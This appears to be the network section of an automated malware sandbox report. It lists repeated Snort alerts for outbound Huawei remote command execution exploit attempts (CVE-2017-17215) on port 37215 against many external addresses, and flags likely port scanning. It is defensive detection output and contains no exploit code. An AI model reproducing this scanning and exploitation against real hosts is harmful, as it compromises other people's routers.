Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:56290 -> 197.25.244.85:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:56290 -> 197.25.244.85:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52420 -> 41.169.149.73:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:52420 -> 41.169.149.73:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:58048 -> 197.126.155.107:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:58048 -> 197.126.155.107:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:39642 -> 41.89.44.248:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:39642 -> 41.89.44.248:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45918 -> 197.35.183.52:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:45918 -> 197.35.183.52:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34684 -> 197.65.247.219:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:34684 -> 197.65.247.219:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:43954 -> 156.91.55.119:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:43954 -> 156.91.55.119:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:58096 -> 156.112.166.96:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:58096 -> 156.112.166.96:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:46024 -> 156.8.32.149:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:46024 -> 156.8.32.149:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55562 -> 156.207.94.97:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:55562 -> 156.207.94.97:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37980 -> 197.18.253.163:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:37980 -> 197.18.253.163:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:59608 -> 156.3.243.152:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:59608 -> 156.3.243.152:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52106 -> 156.93.240.94:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:52106 -> 156.93.240.94:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:50112 -> 41.14.133.63:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:50112 -> 41.14.133.63:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:42030 -> 197.154.217.12:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:42030 -> 197.154.217.12:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45198 -> 156.145.248.27:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:45198 -> 156.145.248.27:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36686 -> 197.78.230.78:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:36686 -> 197.78.230.78:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:33038 -> 41.208.140.239:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:33038 -> 41.208.140.239:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:50018 -> 197.215.229.110:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:50018 -> 197.215.229.110:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:49882 -> 197.121.136.81:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:49882 -> 197.121.136.81:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:44086 -> 41.139.184.97:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:44086 -> 41.139.184.97:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:49224 -> 41.43.208.255:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:49224 -> 41.43.208.255:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:59806 -> 197.33.181.12:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:59806 -> 197.33.181.12:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38486 -> 41.84.23.118:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:38486 -> 41.84.23.118:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:60452 -> 156.6.171.128:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:60452 -> 156.6.171.128:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34226 -> 41.74.251.91:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:34226 -> 41.74.251.91:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:33544 -> 41.244.158.164:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:33544 -> 41.244.158.164:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:47530 -> 156.234.39.13:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:47530 -> 156.234.39.13:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:60378 -> 156.88.210.161:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:60378 -> 156.88.210.161:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:49572 -> 197.229.155.141:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:49572 -> 197.229.155.141:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:54026 -> 197.236.203.121:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:54026 -> 197.236.203.121:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38622 -> 197.213.9.188:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:38622 -> 197.213.9.188:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45572 -> 41.109.78.181:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:45572 -> 41.109.78.181:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36170 -> 156.47.174.21:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:36170 -> 156.47.174.21:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38566 -> 41.5.46.180:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:38566 -> 41.5.46.180:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:47606 -> 197.110.203.35:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:47606 -> 197.110.203.35:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:60608 -> 41.55.10.217:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:60608 -> 41.55.10.217:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:46710 -> 197.109.223.59:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:46710 -> 197.109.223.59:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:56050 -> 156.13.177.93:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:56050 -> 156.13.177.93:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:40604 -> 197.85.240.37:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:40604 -> 197.85.240.37:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:39874 -> 41.147.35.71:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:39874 -> 41.147.35.71:37215

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 197.166.48.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.115.245.225 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.100.92.76 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.169.18.21 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.118.70.37 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.190.32.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.211.130.69 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.223.225.207 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.53.79.241 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.113.1.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.22.168.59 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.131.198.44 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.237.157.8 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.82.86.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.132.135.5 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.199.40.15 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.100.177.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.242.147.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.242.144.251 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.81.217.198 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.253.30.247 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.182.229.98 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.74.34.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.118.202.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.241.174.222 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.171.156.218 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.187.237.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.193.202.8 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.151.150.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.211.240.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.125.47.182 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.63.78.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.16.46.183 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.111.111.199 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.157.203.17 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.9.221.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.188.152.88 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.171.137.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.70.96.40 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.17.3.158 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.133.47.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.184.152.180 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.241.157.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.203.1.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.145.76.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.218.189.39 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.58.159.188 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.185.33.88 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.246.213.96 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.166.104.223 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.51.172.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.91.195.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.86.110.172 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.170.39.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.93.43.51 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.124.140.219 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.76.150.5 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.183.149.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.79.25.246 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.249.137.244 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.75.34.132 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.76.253.27 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.4.115.34 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.173.72.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.231.97.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.120.1.228 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.163.4.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.4.199.103 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.99.248.140 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.133.178.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.163.9.229 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.79.240.74 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.189.1.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.16.169.139 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.242.4.236 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.179.68.111 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.195.121.183 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.220.128.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.49.217.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.159.144.109 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.161.41.44 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.227.243.239 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.134.172.80 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.68.61.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.175.165.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.7.172.244 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.58.23.216 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.104.46.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.120.151.41 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.67.137.161 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.40.15.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.204.252.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.82.51.239 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.222.97.234 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.153.156.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.101.207.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.59.18.195 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.207.28.17 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.233.204.236 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.64.149.152 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.162.89.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.57.121.222 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.126.31.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.29.2.221 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.50.6.51 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.159.176.75 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.230.133.32 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.173.183.208 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.253.28.65 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.184.157.59 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.206.114.165 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.28.31.59 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.223.254.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.174.95.0 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.55.222.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.210.101.111 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.197.177.102 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.37.194.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.106.81.12 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.40.252.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.41.53.10 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.3.155.245 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.242.88.118 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.101.154.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.196.135.225 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.169.18.210 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.146.2.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.196.240.229 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.94.176.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.138.142.75 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.218.52.85 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.55.233.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.250.108.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.105.195.16 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.127.92.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.157.214.83 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.220.224.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.125.89.67 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.208.45.58 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.225.41.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.109.132.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.62.254.118 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.48.91.210 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.9.116.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.144.202.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.83.33.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.234.190.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.115.119.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.80.243.127 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.33.16.34 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.239.140.38 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.1.144.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.98.168.160 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.170.113.21 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.106.206.179 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.140.205.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.125.118.181 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.65.86.228 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.154.112.2 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.205.195.219 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.105.240.6 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.207.117.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.6.183.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.208.121.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.165.55.35 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.238.82.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.5.144.198 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.90.19.186 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.90.213.247 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.4.211.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.172.178.238 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.76.249.157 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.250.195.170 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.206.145.246 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.78.104.223 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.63.25.238 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.40.53.163 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.79.136.249 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.42.240.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.240.33.225 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.209.222.17 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.91.91.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.169.182.79 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.16.112.104 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.69.39.231 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.4.192.131 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.87.146.231 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.211.209.133 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.104.167.40 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.8.115.217 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.79.128.100 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.30.64.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.127.209.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.43.47.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.209.130.3 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.148.116.65 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.67.228.202 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.241.117.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.27.156.93 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.149.40.70 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.220.187.93 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.12.116.212 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.122.82.116 ports 1,2,3,5,7,37215
